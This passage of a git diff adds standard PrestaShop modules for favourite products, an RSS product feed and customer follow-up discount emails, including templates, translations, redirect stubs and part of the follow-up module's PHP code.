0000000..8aea7d4 Binary files /dev/null and b/modules/favoriteproducts/img/del_favorite.gif differ diff --git a/modules/favoriteproducts/img/favorites.png b/modules/favoriteproducts/img/favorites.png new file mode 100755 index 0000000..8197910 Binary files /dev/null and b/modules/favoriteproducts/img/favorites.png differ diff --git a/modules/favoriteproducts/img/index.php b/modules/favoriteproducts/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/favoriteproducts/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/favoriteproducts/index.php b/modules/favoriteproducts/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/favoriteproducts/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/favoriteproducts/logo.gif b/modules/favoriteproducts/logo.gif new file mode 100755 index 0000000..8b0b263 Binary files /dev/null and b/modules/favoriteproducts/logo.gif differ diff --git a/modules/favoriteproducts/logo.png b/modules/favoriteproducts/logo.png new file mode 100755 index 0000000..478d568 Binary files /dev/null and b/modules/favoriteproducts/logo.png differ diff --git a/modules/favoriteproducts/translations/en.php b/modules/favoriteproducts/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/favoriteproducts/translations/fr.php b/modules/favoriteproducts/translations/fr.php new file mode 100755 index 0000000..e5ba493 --- /dev/null +++ b/modules/favoriteproducts/translations/fr.php @@ -0,0 +1,14 @@ +favoriteproducts_c249aeb21294d5e97598462b550e73eb'] = 'Produits favoris'; +$_MODULE['<{favoriteproducts}prestashop>favoriteproducts_018770f4456d82ec755cd9d0180e4cce'] = 'Affiche une page avec les produits favoris de l\'utilisateur'; +$_MODULE['<{favoriteproducts}prestashop>favoriteproducts-account_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{favoriteproducts}prestashop>favoriteproducts-account_e5090b68524b1bbfd7983bfa9500b7c9'] = 'Mes produits favoris'; +$_MODULE['<{favoriteproducts}prestashop>favoriteproducts-account_44fd621c6504b8a5346946650682a842'] = 'Vous ne possédez pas de produit favoris pour le moment.'; +$_MODULE['<{favoriteproducts}prestashop>favoriteproducts-account_6f16227b3e634872e87b0501948310b6'] = 'Retour à votre compte'; +$_MODULE['<{favoriteproducts}prestashop>favoriteproducts-extra_8128d66be9351da562f9b01f591e00cd'] = 'Ajouter ce produit à mes favoris'; +$_MODULE['<{favoriteproducts}prestashop>favoriteproducts-extra_b895a379bd5ea51680ead24ee13a1bb7'] = 'Retirer ce produit de mes favoris'; +$_MODULE['<{favoriteproducts}prestashop>my-account_e5090b68524b1bbfd7983bfa9500b7c9'] = 'Mes produits favoris'; diff --git a/modules/favoriteproducts/translations/index.php b/modules/favoriteproducts/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/favoriteproducts/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/favoriteproducts/views/index.php b/modules/favoriteproducts/views/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/favoriteproducts/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/favoriteproducts/views/templates/front/favoriteproducts-account.tpl b/modules/favoriteproducts/views/templates/front/favoriteproducts-account.tpl new file mode 100755 index 0000000..a23dbd6 --- /dev/null +++ b/modules/favoriteproducts/views/templates/front/favoriteproducts-account.tpl @@ -0,0 +1,89 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{capture name=path} + + {l s='My account' mod='favoriteproducts'} + {$navigationPipe}{l s='My favorite products.' mod='favoriteproducts'} +{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
          +

          {l s='My favorite products.' mod='favoriteproducts'}

          + {if $favoriteProducts} +
          + {foreach from=$favoriteProducts item=favoriteProduct} +
          + + +

          {$favoriteProduct.name|escape:'htmlall':'UTF-8'}

          +
          {$favoriteProduct.description_short|strip_tags|escape:'htmlall':'UTF-8'}
          + +
          + +
          +
          + {/foreach} +
          + {else} +

          {l s='No favorite products have been determined just yet. ' mod='favoriteproducts'}

          + {/if} + + +
          \ No newline at end of file diff --git a/modules/favoriteproducts/views/templates/front/index.php b/modules/favoriteproducts/views/templates/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/favoriteproducts/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/favoriteproducts/views/templates/hook/favoriteproducts-extra.tpl b/modules/favoriteproducts/views/templates/hook/favoriteproducts-extra.tpl new file mode 100755 index 0000000..7bd3e1d --- /dev/null +++ b/modules/favoriteproducts/views/templates/hook/favoriteproducts-extra.tpl @@ -0,0 +1,42 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if !$isCustomerFavoriteProduct AND $isLogged} +
        • + {l s='Add this product to my list of favorites.' mod='favoriteproducts'} +
        • +{/if} +{if $isCustomerFavoriteProduct AND $isLogged} +
        • + {l s='Remove this product from my favorite\'s list. ' mod='favoriteproducts'} +
        • +{/if} + +
        • + {l s='Remove this product from my favorite\'s list. ' mod='favoriteproducts'} +
        • +
        • + {l s='Add this product to my list of favorites.' mod='favoriteproducts'} +
        • \ No newline at end of file diff --git a/modules/favoriteproducts/views/templates/hook/favoriteproducts-header.tpl b/modules/favoriteproducts/views/templates/hook/favoriteproducts-header.tpl new file mode 100755 index 0000000..dd7bad1 --- /dev/null +++ b/modules/favoriteproducts/views/templates/hook/favoriteproducts-header.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + diff --git a/modules/favoriteproducts/views/templates/hook/index.php b/modules/favoriteproducts/views/templates/hook/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/favoriteproducts/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/favoriteproducts/views/templates/hook/my-account.tpl b/modules/favoriteproducts/views/templates/hook/my-account.tpl new file mode 100755 index 0000000..a8884fa --- /dev/null +++ b/modules/favoriteproducts/views/templates/hook/my-account.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        • + + {if !$in_footer}{l s='My favorite products.' mod='favoriteproducts'}{/if} + {l s='My favorite products.' mod='favoriteproducts'} + +
        • diff --git a/modules/favoriteproducts/views/templates/index.php b/modules/favoriteproducts/views/templates/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/favoriteproducts/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/feeder/feeder.php b/modules/feeder/feeder.php new file mode 100755 index 0000000..df7d7d3 --- /dev/null +++ b/modules/feeder/feeder.php @@ -0,0 +1,80 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Feeder extends Module +{ + private $_postErrors = array(); + + public function __construct() + { + $this->name = 'feeder'; + $this->tab = 'front_office_features'; + $this->version = 0.3; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + $this->_directory = dirname(__FILE__).'/../../'; + parent::__construct(); + + $this->displayName = $this->l('RSS products feed.'); + $this->description = $this->l('Generate an RSS products feed.'); + } + + function install() + { + return (parent::install() && $this->registerHook('header')); + } + + function hookHeader($params) + { + + if (!($id_category = (int)Tools::getValue('id_category'))) + { + if (isset($_SERVER['HTTP_REFERER']) && preg_match('!^(.*)\/([0-9]+)\-(.*[^\.])|(.*)id_category=([0-9]+)(.*)$!', $_SERVER['HTTP_REFERER'], $regs) && !strstr($_SERVER['HTTP_REFERER'], '.html')) + { + if (isset($regs[2]) && is_numeric($regs[2])) + $id_category = (int)($regs[2]); + elseif (isset($regs[5]) && is_numeric($regs[5])) + $id_category = (int)$regs[5]; + } + elseif ($id_product = (int)Tools::getValue('id_product')) + { + $product = new Product($id_product); + $id_category = $product->id_category_default; + } + } + + $orderBy = Tools::getProductsOrder('by', Tools::getValue('orderby')); + $orderWay = Tools::getProductsOrder('way', Tools::getValue('orderway')); + $this->smarty->assign(array( + 'feedUrl' => Tools::getShopDomain(true, true).__PS_BASE_URI__.'modules/'.$this->name.'/rss.php?id_category='.$id_category.'&orderby='.$orderBy.'&orderway='.$orderWay, + )); + return $this->display(__FILE__, 'feederHeader.tpl'); + } +} diff --git a/modules/feeder/feederHeader.tpl b/modules/feeder/feederHeader.tpl new file mode 100755 index 0000000..c05a8b5 --- /dev/null +++ b/modules/feeder/feederHeader.tpl @@ -0,0 +1,26 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + \ No newline at end of file diff --git a/modules/feeder/index.php b/modules/feeder/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/feeder/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/feeder/logo.gif b/modules/feeder/logo.gif new file mode 100755 index 0000000..7a5e009 Binary files /dev/null and b/modules/feeder/logo.gif differ diff --git a/modules/feeder/logo.png b/modules/feeder/logo.png new file mode 100755 index 0000000..8b2c0d5 Binary files /dev/null and b/modules/feeder/logo.png differ diff --git a/modules/feeder/rss.php b/modules/feeder/rss.php new file mode 100755 index 0000000..fad90e2 --- /dev/null +++ b/modules/feeder/rss.php @@ -0,0 +1,77 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); + +// Get data +$number = ((int)(Tools::getValue('n')) ? (int)(Tools::getValue('n')) : 10); +$orderBy = Tools::getProductsOrder('by', Tools::getValue('orderby')); +$orderWay = Tools::getProductsOrder('way', Tools::getValue('orderway')); +$id_category = ((int)(Tools::getValue('id_category')) ? (int)(Tools::getValue('id_category')) : Configuration::get('PS_HOME_CATEGORY')); +$products = Product::getProducts((int)Context::getContext()->language->id, 0, ($number > 10 ? 10 : $number), $orderBy, $orderWay, $id_category, true); +$currency = new Currency((int)Context::getContext()->currency->id); +$affiliate = (Tools::getValue('ac') ? '?ac='.(int)(Tools::getValue('ac')) : ''); + +// Send feed +header("Content-Type:text/xml; charset=utf-8"); +echo ''."\n"; +?> + + + <![CDATA[<?php echo Configuration::get('PS_SHOP_NAME') ?>]]> + + + PrestaShop + language->iso_code; ?> + + <![CDATA[<?php echo Configuration::get('PS_SHOP_NAME') ?>]]> + + + +id_lang), $product['id_product']); + echo "\t\t\n"; + echo "\t\t\t<![CDATA[".$product['name']." - ".html_entity_decode(Tools::displayPrice(Product::getPriceStatic($product['id_product']), $currency), ENT_COMPAT, 'UTF-8')." ]]>\n"; + echo "\t\t\t"; + $cdata = true; + if (is_array($image) AND sizeof($image)) + { + $imageObj = new Image($image[0]['id_image']); + echo "getExistingImgPath()."-small_default.jpg' title='".str_replace('&', '', $product['name'])."' alt='thumb' />"; + $cdata = false; + } + if ($cdata) + echo "\n"; + + echo "\t\t\tgetproductLink($product['id_product'], $product['link_rewrite'], Category::getLinkRewrite((int)($product['id_category_default']), $cookie->id_lang)))).$affiliate."]]>\n"; + echo "\t\t\n"; + } +?> + + diff --git a/modules/feeder/translations/en.php b/modules/feeder/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/feeder/translations/fr.php b/modules/feeder/translations/fr.php new file mode 100755 index 0000000..ea2d174 --- /dev/null +++ b/modules/feeder/translations/fr.php @@ -0,0 +1,7 @@ +feeder_d97c951c07d785b317ffb55c01bf6976'] = 'Flux RSS des produits'; +$_MODULE['<{feeder}prestashop>feeder_b118eb1df6ece770ad9d2bbe97cc1a79'] = 'Générer un flux RSS des produits'; diff --git a/modules/feeder/translations/index.php b/modules/feeder/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/feeder/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/followup/cron.php b/modules/followup/cron.php new file mode 100755 index 0000000..eb3eae1 --- /dev/null +++ b/modules/followup/cron.php @@ -0,0 +1,39 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include(dirname(__FILE__).'/../../config/config.inc.php'); +include(dirname(__FILE__).'/followup.php'); + +if (isset($_GET['secure_key'])) +{ + $secureKey = Configuration::get('PS_FOLLOWUP_SECURE_KEY'); + if (!empty($secureKey) AND $secureKey === $_GET['secure_key']) + { + $followup = new Followup(); + $followup->cronTask(); + } +} + diff --git a/modules/followup/followup.php b/modules/followup/followup.php new file mode 100755 index 0000000..bfcc926 --- /dev/null +++ b/modules/followup/followup.php @@ -0,0 +1,509 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Followup extends Module +{ + function __construct() + { + $this->name = 'followup'; + $this->tab = 'advertising_marketing'; + $this->version = '1.0'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + $this->confKeys = array( + 'PS_FOLLOW_UP_ENABLE_1', 'PS_FOLLOW_UP_ENABLE_2', 'PS_FOLLOW_UP_ENABLE_3', 'PS_FOLLOW_UP_ENABLE_4', + 'PS_FOLLOW_UP_AMOUNT_1', 'PS_FOLLOW_UP_AMOUNT_2', 'PS_FOLLOW_UP_AMOUNT_3', 'PS_FOLLOW_UP_AMOUNT_4', + 'PS_FOLLOW_UP_DAYS_1', 'PS_FOLLOW_UP_DAYS_2', 'PS_FOLLOW_UP_DAYS_3', 'PS_FOLLOW_UP_DAYS_4', + 'PS_FOLLOW_UP_THRESHOLD_3', + 'PS_FOLLOW_UP_DAYS_THRESHOLD_4', + 'PS_FOLLOW_UP_CLEAN_DB'); + + parent::__construct(); + + $this->displayName = $this->l('Customer follow-up'); + $this->description = $this->l('Follow-up with your customers with daily customized e-mails.'); + $this->confirmUninstall = $this->l('Are you sure you want to delete all settings and your logs?'); + } + + public function install() + { + $logEmailTable = Db::getInstance()->execute(' + CREATE TABLE '._DB_PREFIX_.'log_email ( + `id_log_email` INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY , + `id_email_type` INT UNSIGNED NOT NULL , + `id_cart_rule` INT UNSIGNED NOT NULL , + `id_customer` INT UNSIGNED NULL , + `id_cart` INT UNSIGNED NULL , + `date_add` DATETIME NOT NULL, + INDEX `date_add`(`date_add`), + INDEX `id_cart`(`id_cart`) + ) ENGINE='._MYSQL_ENGINE_); + + foreach ($this->confKeys AS $key) + Configuration::updateValue($key, 0); + + Configuration::updateValue('PS_FOLLOWUP_SECURE_KEY', strtoupper(Tools::passwdGen(16))); + + return parent::install(); + } + + public function uninstall() + { + foreach ($this->confKeys AS $key) + Configuration::deleteByName($key); + + Configuration::deleteByName('PS_FOLLOWUP_SECURE_KEY'); + + Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.'log_email'); + + return parent::uninstall(); + } + + public function getContent() + { + $html = ''; + /* Save settings */ + if (Tools::isSubmit('submitFollowUp')) + foreach ($this->confKeys AS $c) + Configuration::updateValue($c, (float)(Tools::getValue($c))); + + /* Init */ + $conf = Configuration::getMultiple($this->confKeys); + foreach ($this->confKeys AS $k) + if (!isset($conf[$k])) + $conf[$k] = ''; + $currency = new Currency((int)(Configuration::get('PS_CURRENCY_DEFAULT'))); + + $n1 = $this->cancelledCart(true); + $n2 = $this->reOrder(true); + $n3 = $this->bestCustomer(true); + $n4 = $this->badCustomer(true); + + $html .= ' +

          '.$this->l('Customer follow-up').'

          +
          +
          + '.$this->l('Settings').' +

          '.$this->l('Four kinds of e-mail alerts available in order to stay in touch with your customers!').'

          + '.$this->l('Define settings and place this URL in crontab or call it manually daily:').'
          + '.Tools::getShopDomain(true, true).__PS_BASE_URI__.'modules/followup/cron.php?secure_key='.Configuration::get('PS_FOLLOWUP_SECURE_KEY').'

          +
          +

          1. '.$this->l('Cancelled carts').'

          '.$this->l('For each cancelled cart (with no order), generate a discount and send it to the customer.').'

          + +
          + +
          %
          + +
          '.$this->l('day(s)').'
          +

          '.($n1 > 1 ? sprintf($this->l('Next process will send: %d e-mails'), $n1) : sprintf($this->l('Next process will send: %d e-mail'), $n1)).'

          +
          +

          2. '.$this->l('Re-order').'

          '.$this->l('For each validated order, generate a discount and send it to the customer.').'

          + +
          + +
          %
          + +
          '.$this->l('day(s)').'
          +

          '.($n2 > 1 ? sprintf($this->l('Next process will send: %d e-mails'), $n2) : sprintf($this->l('Next process will send: %d e-mail'), $n2)).'

          +
          +

          3. '.$this->l('Best customers').'

          '.$this->l('For each customer raising a threshold, generate a discount and send it to the customer.').'

          + +
          + +
          %
          + +
          '.($currency->format == 1 ? ' '.$currency->sign.' ' : '').' '.($currency->format == 2 ? ' '.$currency->sign : '').'
          + +
          '.$this->l('day(s)').'
          +

          '.($n3 > 1 ? sprintf($this->l('Next process will send: %d e-mails'), $n3) : sprintf($this->l('Next process will send: %d e-mail'), $n3)).'

          +
          +

          4. '.$this->l('Bad customers').'

          '.$this->l('For each customer who has already passed at least one order and with no orders since a given duration, generate a discount and send it to the customer.').'

          + +
          + +
          %
          + +
          '.$this->l('day(s)').'
          + +
          '.$this->l('day(s)').'
          +

          '.($n4 > 1 ? sprintf($this->l('Next process will send: %d e-mails'), $n4) : sprintf($this->l('Next process will send: %d e-mail'), $n4)).'

          +
          + '.$this->l('Delete outdated discounts during each launch to clean database.').' +
          +
          +
          + + +
          + '.$this->l('Statistics').' + '.$this->l('Detailed statistics for last 30 days:').'

          +

          + '.$this->l('S = Number of sent e-mails').'
          + '.$this->l('U = Number of discounts used (valid orders only)').'
          + '.$this->l('% = Conversion rate').' +


          + + + + + + + + '; + + $stats = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DATE_FORMAT(l.date_add, \'%Y-%m-%d\') date_stat, l.id_email_type, COUNT(l.id_log_email) nb, + (SELECT COUNT(l2.id_cart_rule) + FROM '._DB_PREFIX_.'log_email l2 + LEFT JOIN '._DB_PREFIX_.'order_cart_rule ocr ON (ocr.id_cart_rule = l2.id_cart_rule) + LEFT JOIN '._DB_PREFIX_.'orders o ON (o.id_order = ocr.id_order) + WHERE l2.id_email_type = l.id_email_type AND l2.date_add = l.date_add AND ocr.id_order IS NOT NULL AND o.valid = 1) nb_used + FROM '._DB_PREFIX_.'log_email l + WHERE l.date_add >= DATE_SUB(CURDATE(), INTERVAL 30 DAY) + GROUP BY DATE_FORMAT(l.date_add, \'%Y-%m-%d\'), l.id_email_type'); + + $statsArray = array(); + foreach ($stats AS $stat) + { + $statsArray[$stat['date_stat']][$stat['id_email_type']]['nb'] = (int)($stat['nb']); + $statsArray[$stat['date_stat']][$stat['id_email_type']]['nb_used'] = (int)($stat['nb_used']); + } + + $html .= ' + + + + + + + + + + + + + + '; + + if (!sizeof($statsArray)) + $html .= ''; + foreach ($statsArray AS $date_stat => $array) + { + $rates = array(); + for ($i = 1; $i != 5; $i++) + if (isset($statsArray[$date_stat][$i]['nb']) AND isset($statsArray[$date_stat][$i]['nb_used']) AND $statsArray[$date_stat][$i]['nb_used'] > 0) + $rates[$i] = number_format(($statsArray[$date_stat][$i]['nb_used'] / $statsArray[$date_stat][$i]['nb'])*100, 2, '.', ''); + + $html .= ' + + '; + + for ($i = 1; $i != 5; $i++) + { + $html .= ' + + + '; + } + + $html .= ' + '; + } + + $html .= ' +
          '.$this->l('Date').''.$this->l('Cancelled carts').''.$this->l('Re-order').''.$this->l('Best cust.').''.$this->l('Bad cust.').'
          '.$this->l('S').''.$this->l('U').'%'.$this->l('S').''.$this->l('U').'%'.$this->l('S').''.$this->l('U').'%'.$this->l('S').''.$this->l('U').'%
          '.$this->l('No statistics at this time.').'
          '.$date_stat.''.(isset($statsArray[$date_stat][$i]['nb']) ? (int)($statsArray[$date_stat][$i]['nb']) : 0).''.(isset($statsArray[$date_stat][$i]['nb_used']) ? (int)($statsArray[$date_stat][$i]['nb_used']) : 0).''.(isset($rates[$i]) ? ''.$rates[$i].'' : '0.00').'
          +
          +
          +
          '; + + return $html; + } + + /* Log each sent e-mail */ + private function logEmail($id_email_type, $id_cart_rule, $id_customer = NULL, $id_cart = NULL) + { + $values = array('id_email_type' => (int)($id_email_type), 'id_cart_rule' => (int)$id_cart_rule, 'date_add' => date('Y-m-d H:i:s')); + if (!empty($id_cart)) + $values['id_cart'] = (int)($id_cart); + if (!empty($id_customer)) + $values['id_customer'] = (int)($id_customer); + Db::getInstance()->insert('log_email', $values); + } + + /* Each cart which wasn't transformed into an order */ + private function cancelledCart($count = false) + { + $emailLogs = $this->getLogsEmail(1); + $sql = ' + SELECT c.id_cart, c.id_lang, cu.id_customer, cu.firstname, cu.lastname, cu.email + FROM '._DB_PREFIX_.'cart c + LEFT JOIN '._DB_PREFIX_.'orders o ON (o.id_cart = c.id_cart) + LEFT JOIN '._DB_PREFIX_.'customer cu ON (cu.id_customer = c.id_customer) + WHERE DATE_SUB(CURDATE(),INTERVAL 7 DAY) <= c.date_add AND cu.id_customer IS NOT NULL AND o.id_order IS NULL'; + + if(!empty($emailLogs)) + $sql .= ' AND c.id_cart NOT IN ('.join(',', $emailLogs).')'; + + $emails = Db::getInstance()->executeS($sql); + + if ($count OR !sizeof($emails)) + return sizeof($emails); + + $conf = Configuration::getMultiple(array('PS_FOLLOW_UP_AMOUNT_1', 'PS_FOLLOW_UP_DAYS_1')); + foreach ($emails AS $email) + { + $voucher = $this->createDiscount(1, (float)($conf['PS_FOLLOW_UP_AMOUNT_1']), (int)($email['id_customer']), strftime('%Y-%m-%d', strtotime('+'.(int)($conf['PS_FOLLOW_UP_DAYS_1']).' day')), $this->l('Discount for your cancelled cart')); + if ($voucher !== false) + { + $templateVars = array('{email}' => $email['email'], '{lastname}' => $email['lastname'], '{firstname}' => $email['firstname'], '{amount}' => $conf['PS_FOLLOW_UP_AMOUNT_1'], '{days}' => 